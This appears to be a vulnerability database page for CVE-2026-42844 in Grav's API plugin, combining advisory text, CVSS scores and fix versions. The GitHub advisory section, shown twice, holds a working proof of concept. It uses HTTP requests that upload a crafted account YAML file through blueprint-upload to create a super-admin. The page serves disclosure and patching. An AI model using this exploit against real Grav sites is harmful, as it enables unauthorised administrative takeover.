CVE-2026-42844
Grav: Low-privileged API users can create super-admin accounts via blueprint-upload
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
Grav: Low-privileged API users can create super-admin accounts via blueprint-upload
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
- Record
CVE-2026-42844- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-434, CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-29857
8.7
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
- Record
EUVD-2026-29857- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6xx2-m8wv-756h
8.7
Low-privileged Grav API users can create super-admin accounts via blueprint-upload
Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anything
The server resolves the write target to the shared account directory:
user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: true
PoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
UPLOADER_TOKEN = <access_token from response>
Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close
------CodexBoundaryF01
Content-Disposition: form-data; name="destination"
self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"
users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml
email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
site:
login: true
api:
super: true
------CodexBoundaryF01--
Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}
Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}
Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical…
- Record
GHSA-6xx2-m8wv-756h- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-269, CWE-434
- Updated
- 2026-11-02
NVD
8.7
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
- Record
CVE-2026-42844- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269, CWE-434
- Updated
- 2026-11-02
OSV
8.7
Grav: Low-privileged API users can create super-admin accounts via blueprint-upload
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
- Record
CVE-2026-42844- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-269, CWE-434
- Updated
- 2026-11-02
OSVGHSA-6xx2-m8wv-756h
8.7
Low-privileged Grav API users can create super-admin accounts via blueprint-upload
Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anything
The server resolves the write target to the shared account directory:
user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: true
PoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
UPLOADER_TOKEN = <access_token from response>
Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close
------CodexBoundaryF01
Content-Disposition: form-data; name="destination"
self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"
users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml
email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
site:
login: true
api:
super: true
------CodexBoundaryF01--
Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}
Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}
Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical…
- Record
GHSA-6xx2-m8wv-756h- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-269, CWE-434
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
before 2.0.0-beta.4 | 2.0.0-beta.4 |
getgrav/gravPackagist |
before 2.0.0-beta.4, plus listed versions 0.8.00.9.00.9.10.9.100.9.11 Show 45 moreShow less0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2 |
2.0.0-beta.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42844 is a high vulnerability (CVSS 8.7) in Getgrav Grav, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in getgrav/grav 2.0.0-beta.4.
References
github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h
github.com/getgrav/grav-plugin-api/commit/97fc02844a35f743dfe93d34efd92d47eedd5bc5
nvd.nist.gov/vuln/detail/CVE-2026-42844
github.com/advisories/GHSA-6xx2-m8wv-756h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42844.json
github.com/getgrav/grav
Left out here: 273 versions and the rest of 2 source descriptions. The JSON record has them.